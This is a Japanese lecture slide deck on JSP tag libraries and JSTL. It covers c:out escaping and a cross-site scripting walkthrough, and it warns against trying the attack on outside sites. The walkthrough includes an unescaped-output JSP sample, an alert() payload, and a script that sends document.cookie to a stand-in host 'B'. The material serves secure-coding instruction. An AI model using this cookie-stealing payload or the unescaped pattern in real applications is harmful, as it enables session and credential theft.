2003年度 データベース論

タグライブラリとJSP
J2EE I
第10回 / 2005-01-15
1
ここでの内容


タグライブラリの使い方、特にJSTLについ
て学ぶ。
クロスサイトスクリプティングについて学ぶ。
2
カスタムタグ



JSPの中で定義できる独自のタグ。
スクリプトレットを使って記述するところをタ
グで表現できる。
カスタムタグを、見通しのよいJSPを作成で
きる。
3
タグライブラリ


複数のカスタムタグをまとめてひとつの
パッケージにしたものを「タグライブラリ」と
言う。
タグライブラリの構成


タグの処理を記述する Java のプログラム (通
常は Jar ファイルで提供される)
タグに関する情報を持つ Tag Library
Descriptor (TLD)
4
さまざまなタグライブラリ


既製のタグライブラリがいくつかある。
JavaServer Pages Standard Tag Library (JSTL)





値の設定・制御構造
データベースへのアクセス、国際化、XMLの解析など
Jakarta Taglibs
JSF のタグライブラリ
などなど
5
HTML中の特殊文字の扱い

HTMLでは “<“, “>”, “&” といった文字は
特別な意味を持つので、実態参照で表す。
文字
<
>
&
実態参照
&lt;
&gt;
&amp;
6
JSTLによるタグのエンコード (1)


フォームから入力した
文字列を出力するサ
ンプル
c:out を使うと、“<”
や “>” や “&” といっ
た文字をエンコードす
る(実態参照で表す)。
<p>
c:out を使わない場合:
<%=
request.getParameter("title")
%>
</p>
<p>
c:out を使った場合:
<c:out value="${param.title}" />
</p>
7
JSTLによるタグのエンコード (2)

入力文字列


c:out を使った場合



<m>wakhok</m>
<m>wakhok</m>
タグがエンコードされるので、”<“ や “>” はタグでは
なくただの文字ということになる。
c:out を使わない場合


wakhok
“m” というタグが使われたことになる。
8
クロスサイトスクリプティング (1)
フォームから入力されたタグが
そのまま出力される
↓
入力された文字が JavaScript だった場合
↓
JavaScript が実行されてしまう!
9
クロスサイトスクリプティング (2)
実例
<script>alert(“アホですか?”);</script>
↓
警告画面が表示されてしまう
10
クロスサイトスクリプティング (3)
cookie が盗まれる例 (1)



ショッピングサイト “WAK” とその利用者が狙わ
れる例
“WAK” の商品検索システムは、タグをエンコード
しない。つまりクロスサイトスクリプティングを引き
起こしてしまうようになっている。
“WAK” では、商品を購入するときに使うユーザ
名とパスワードを cookie に保存している。
11
クロスサイトスクリプティング (4)
cookie が盗まれる例 (2)



ここで、怪しいサイト“A”が登場する。
“A” には、“WAK” へのリンクが貼られてい
る。
その内容は

WAK の Cookie を取得して、その Cookie を
別のサイト “B” の getCookie.jsp に渡す
JavaScript
12
クロスサイトスクリプティング (5)
cookie が盗まれる例 (3)

リンクの内容
<a href=
“http://wak/search.jsp?p=(JavaScriptのタグ)”>
Hなサイト
</a>
13
クロスサイトスクリプティング (6)
cookie が盗まれる例 (4)

JavaScript の内容
<script>
s = document.cookie;
location.href = “http://B/getCookie.jsp?c=“+s;
</script>
14
クロスサイトスクリプティング (7)
cookie が盗まれる例 (5)




“WAK” の利用者が サイト “A” へのリンク
をうっかり押してしまった場合
リンク先の “WAK” のサイトが表示されると
き、同時に JavaScript を実行されて
Cookie を盗まれる
ユーザ名とパスワードを盗られたので、あ
とはやられ放題。
15
JSTLによるタグのエンコード (3)



タグの入力を許可してしまうと、クロスサイ
トスクリプティングを引き起こすことが考え
られる。
タグの入力を許可しない方がよい。
こうした処理をタグライブラリを使わずに書
くには、スクリプトレットを使う必要がある。
16
警告


これまで述べた手順を外のサイトで試さな
いように。
「不正アクセス禁止法」に抵触するおそれ
がある。
17
タグライブラリを使う
利用するタグライブラリと、その接頭辞を指定
<%@ taglib prefix="c"
uri="http://java.sun.com/jsp/jstl/core" %>

18
式言語 (Expression Language)
${var}
${param.title}
${book.author}
変数 var
フォームから入力され
たデータ "title" の値
book という Bean の
author プロパティ
19
制御構造の例
<ul>
<c:forEach var="book"
items="${bookList.iterator}" >
<li>
<c:out value="${book.title}" />
/
<c:out value="${book.author}" />
</li>
</c:forEach>
</ul>
20
JSTL の Tomcat への配置

JSTL の配布パッケージの lib フォルダに
含まれている次の2つのjarファイルを
WEB-INF/lib フォルダにコピーする。


jstl.jar
standard.jar
21
参考文献・URL
タグライブラリ関連

JavaServer Pages Standard Tag Library


http://java.sun.com/products/jsp/jstl/index.jsp
Jakarta Taglibs

http://jakarta.apache.org/taglibs/index.html
22
参考文献・URL
クロスサイトスクリプティング (1)

セキュアプログラミング講座



独立行政法人情報処理推進機構が提供している、安全なプログラミン
グをするための講座。1-2 がクロスサイトスクリプティングの解説とその
対策になっている。
http://www.ipa.go.jp/security/awareness/vendor/programming/ind
ex.html
クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱
さの実体とその対策




高木 浩光,関口 智嗣,大蒔 和仁
高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについ
てわかりやすく記述されている。
この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリ
プティングの対策は十分にとられている(はずだ)が、この内容の重要性
は変わっていない。
http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
23
参考文献・URL
クロスサイトスクリプティング (2)

安全なWebアプリ開発40箇条の鉄則



産業技術総合研究所の高木浩光氏のスライド。
安全なWebアプリケーション構築のためのポ
イントがコンパクトにまとめられている。必読。
http://java-house.jp/~takagi/paper/idgjwd2003-takagi-dist.pdf
24